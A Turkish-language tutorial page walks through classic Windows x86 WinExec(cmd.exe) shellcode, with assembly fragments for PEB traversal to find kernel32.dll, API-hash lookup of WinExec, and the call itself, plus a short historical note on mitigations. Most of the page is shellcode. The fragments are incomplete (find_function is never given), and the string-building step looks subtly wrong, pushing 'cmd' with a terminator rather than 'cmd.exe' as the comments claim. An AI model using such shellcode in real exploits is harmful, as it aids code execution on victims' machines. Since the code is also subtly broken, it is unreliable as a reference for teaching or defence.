Windows/x86 WinExec(cmd.exe) Shellcode - 193 Bytes (Klasik)

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-sky-500 pl-5 py-3 bg-sky-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-sky-700 mb-1">Klasik Shellcode - Windows x86 - 193 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x86 WinExec(cmd.exe) - 193 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Windows shellcode'larinin en temel ornegi. kernel32.dll icindeki WinExec API'sini dinamik olarak bularak cmd.exe baslatir. PEB traversal teknigi, sabit adres kullanmadan dinamik yukleme yapmanin Windows shellcode standart yontemidir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">PEB Traversal ile Kernel32 Bulmak</h3>
    <p class="text-sm text-slate-700 mb-3">PEB traversal ASLR'a ragmen calisir, kernel32.dll her zaman ayni InMemoryOrderModuleList konumundadir.</p>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; FS:[0x30] → PEB → Ldr → InMemoryOrderModuleList
xor   eax, eax
mov   eax, fs:[eax+0x30]  ; EAX = PEB
mov   eax, [eax+0x0c]     ; EAX = PEB Ldr
mov   eax, [eax+0x14]     ; InMemoryOrderModuleList.Flink
mov   eax, [eax]          ; ntdll.dll
mov   eax, [eax]          ; kernel32.dll
mov   eax, [eax+0x10]     ; DllBase = kernel32 taban adresi
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">API Hash ile WinExec Bulma</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; WinExec hash: 0x876F8B31
find_api:
    push 0x876F8B31    ; WinExec hash
    call find_function ; esleseni dondur
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">WinExec Cagrisi</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
xor   eax, eax
push  eax           ; NULL terminator
push  0x6578652e    ; exe.
push  0x646d63      ; cmd
mov   esi, esp      ; ESI = cmd.exe
push  1             ; SW_SHOW
push  esi
call  [WinExec_addr]
    </div>
  </div>
  <div class="bg-blue-50 border border-blue-200 rounded-xl p-4"><p class="text-xs font-bold text-blue-800 mb-1">INFO Tarihsel Onem</p><p class="text-xs text-blue-700">Bu teknik 2000li yillarda Windows exploitlerinin temelini olusturuyordu. Modern sistemlerde CFG, ASLR ve DEP zorlasdirmistir.</p></div>
</div>